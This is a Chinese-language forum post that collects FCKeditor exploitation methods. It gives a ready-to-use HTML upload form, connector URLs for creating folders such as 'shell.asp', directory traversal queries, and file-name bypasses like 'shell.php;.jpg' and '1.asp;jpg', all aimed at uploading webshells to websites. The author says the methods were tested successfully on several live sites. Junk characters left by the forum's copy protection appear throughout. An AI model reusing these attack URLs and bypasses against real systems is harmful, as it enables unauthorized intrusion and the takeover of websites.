Fckeditor漏洞利用总结 8 k2 C6 y* F! P$ m
查看编辑器版本5 s$ K6 I, } l" U) D# M o& I+ f) f
FCKeditor/_whatsnew.html
4 h! I2 L$ q' s4 ^- ]; C" ^. v—————————————————————————————————————————————————————————————
1 T9 t, b) s% o3 O9 |
% s" T7 e$ h; V8 f2. Version 2.2 版本; j, Z V8 N. H9 Y' d7 q" N9 T
Apache+linux 环境下在上传文件后面加个.突破!测试通过。1 ], a. Z5 G3 k
—————————————————————————————————————————————————————————————3 X" `$ S9 } M/ Z& d% [9 x h
1 f0 _) o/ R2 m2 @ \6 |3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
- ^& o5 V" v1 Q- R5 S3 R<form id="frmUpload" enctype="multipart/form-data"
! }! H# |0 o! }" c) o- Z5 Uaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
4 {8 K. w6 @8 }: H! @<input type="file" name="NewFile" size="50"><br>3 C5 c3 i- K& c
<input id="btnUpload" type="submit" value="Upload">, ^. v; g8 D7 p
</form>, s( O, ~6 @' X8 F, K! `5 b( w
—————————————————————————————————————————————————————————————8 i5 Y8 K- |! Z/ k) ]" }0 q
- E R# b. k/ W3 F4 p, ~4.FCKeditor 文件上传“.”变“_”下划线的绕过方法. G" d' Z- d- }' ^ `* c
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。4 ~( B# J# l6 S, m8 Y' v# `
4.1:提交shell.php+空格绕过
5 o; j+ |3 h9 H+ O不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
" M% K$ K; j7 {# M' D( Q 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
" ^! G+ Q, b1 [) i- ^$ r—————————————————————————————————————————————————————————————
9 o9 `4 y* q: T4 }( a Y2 A# A* M7 Q w) g# D8 J1 v# ^; e# S. m# U4 z
5. 突破建立文件夹0 N; X) m3 R; B8 \
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
. E* \" M* B j6 g& ^ cFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp9 k% m* U ~# Y
—————————————————————————————————————————————————————————————" E% ]+ y; n% |0 Q: m
! X: Z2 ]; O4 O' y! f# _6. FCKeditor 中test 文件的上传地址1 B) s0 O, B1 W" E) U
FCKeditor/editor/filemanager/browser/default/connectors/test.html4 m; Y1 w8 p! x$ V3 v# Q
FCKeditor/editor/filemanager/upload/test.html
" P! P7 ]4 |% ^, v( DFCKeditor/editor/filemanager/connectors/test.html- R8 }$ n0 Z& S) C: c
FCKeditor/editor/filemanager/connectors/uploadtest.html m: X9 z4 U2 t* y1 f+ x
—————————————————————————————————————————————————————————————
2 @ i$ Q: C% \9 S$ B' ] a; t8 x( @
7.常用上传地址6 D; ]4 g" e* O& D/ T/ U
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/- w @- E; p/ ^# X( i
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
; }1 S, |" k/ t `& M" \FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
$ d4 K2 @9 Y" @+ m1 v* P# sJSP 版:' j1 `6 j- M, E5 w0 s
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
/ y0 j2 y, I! J$ u0 c+ v注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文( \& p, D" H1 d0 b! W. T1 I% Q, n* T
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
' |5 h3 z* z7 @7 b: t( P: z—————————————————————————————————————————————————————————————
3 W, m: U, V# _$ M Q8 v1 T
" I( b- {) u. s2 \5 c8.其他上传地址; G/ c/ H7 ?- w$ Z2 G" p
FCKeditor/_samples/default.html
7 i! C& F6 x5 p% ?& @ H4 IFCKeditor/_samples/asp/sample01.asp! y# f+ y: ?- e+ M3 h
FCKeditor/_samples/asp/sample02.asp
' k L A% x" s$ W. c0 Q9 V. t2 IFCKeditor/_samples/asp/sample03.asp
5 x# T2 K9 s! Y4 z. g$ X" TFCKeditor/_samples/asp/sample04.asp5 E b! Z1 Z! g# d9 E9 o
一般很多站点都已删除_samples 目录,可以试试。
. D& {% e% [ V8 J+ nFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
/ _: f9 s3 a# I9 K: e+ h+ I1 h+ f—————————————————————————————————————————————————————————————9 B, z5 P; q+ a* H2 h
/ q4 f# b3 p2 q5 H6 N
9.列目录漏洞也可助找上传地址
. h1 X2 H7 C! X5 s( r- m3 \Version 2.4.1 测试通过
1 b7 I- ] W- @6 D U; }: `5 _$ r修改CurrentFolder 参数使用 ../../来进入不同的目录
B7 ]$ R, @) }+ X7 V; ~/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
# h4 K* z7 S2 h+ \9 E根据返回的XML 信息可以查看网站所有的目录。
: n2 _) Q/ J& O w7 k kFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F; P4 l/ [9 X9 H1 z, {/ U( q9 O h) K
也可以直接浏览盘符:
0 M+ r- o! L5 Z. g0 ?JSP 版本:
1 [4 _7 Y0 a' E$ gFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
' W8 x+ b) R- `1 k3 F—————————————————————————————————————————————————————————————5 K* T7 s; _' V3 |; e) h
4 _- v% ]' g- f e! x. r3 D$ M- k
10.爆路径漏洞+ M( \7 R0 y; s' ^* F! j
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
2 J1 G8 Z& U. m9 n—————————————————————————————————————————————————————————————8 `# Z6 t" j$ q
3 i) f4 _$ ~8 ~+ U% e11. FCKeditor 被动限制策略所导致的过滤不严问题
: J0 @ n' Y( K1 z. x* r- b 影响版本: FCKeditor x.x <= FCKeditor v2.4.3 i5 e4 P8 x( z. \" ?1 t
脆弱描述:7 h+ J- _4 {) V. I
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
; a/ l ?3 u9 nhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm; c( B' x4 h2 f1 c( _
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!! m1 a0 }3 c& k5 o
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。$ t0 t. y3 O$ t/ M
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!5 k3 o) F" I' a, e' l: ~; i" R
—————————————————————————————————————————————————————————————. o0 R1 }8 Y7 l1 X4 b0 _
$ o! e% p! A# @) G) {0 K: P- ~ h7 J
12.最古老的漏洞,Type文件没有限制!. ^: p# c' ]2 {" I/ Q( |2 r
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
- ]5 `$ n% J; J# x8 J: ?—————————————————————————————————————————————————————————————
) [& R! B( v: @1 I4 ?; u" L6 ~3 {
" l; B1 U3 Y& L0 w# c8 E. C===============================================================================================================================================" I" g5 B" L: I. y2 D1 L
$ D' }5 d P$ X9 I; P
FCK编辑器jsp版本漏洞:7 s% W% h2 Q0 T* s8 ^
. s% M9 \; X/ _1 u$ a u( W0 A
6 X& c) }$ Z$ k0 l* uhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
# A) j1 }2 D) h2 H6 P+ H1 }. ?7 N8 A& {2 t' v
上传马所在目录
( W4 S1 d N6 |3 L1 IFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
1 n A) F5 I# F+ _上传shell的地址:
/ V2 _* k) B& E T, D- Whttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
* e6 Y! Q5 k( p0 J5 D" j, f/ m- P跟版本有关系.并不是百分百成功. 测试成功几个站.
- @/ [4 q e% v3 \4 L不能通杀.很遗憾.7 X, J: M! t4 y! k5 `, o
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector( p- i9 v5 ~5 F& u, U' C9 G' e& }
如果以上地址不行可以试试8 F9 p+ }& |2 g* N1 T
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
4 n9 f+ l! t2 r& b: S5 c4 oFCKeditor/_samples/
, h" g/ U6 b& D" K' U2 DFCKeditor/_samples/default.html* G4 C$ E# f4 {3 r7 V
FCKeditor/editor/fckeditor.htm9 L% \* r+ t& y. H
FCKeditor/editor/fckdialog.html
; r* E% _) _) s
7 T7 b% }& I' ^5 W2 F. u
d: [* |, w$ {( i
; i! D( S% K+ A/ ?/ T% B; r* O [解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
0 X n& R) F3 Z$ n |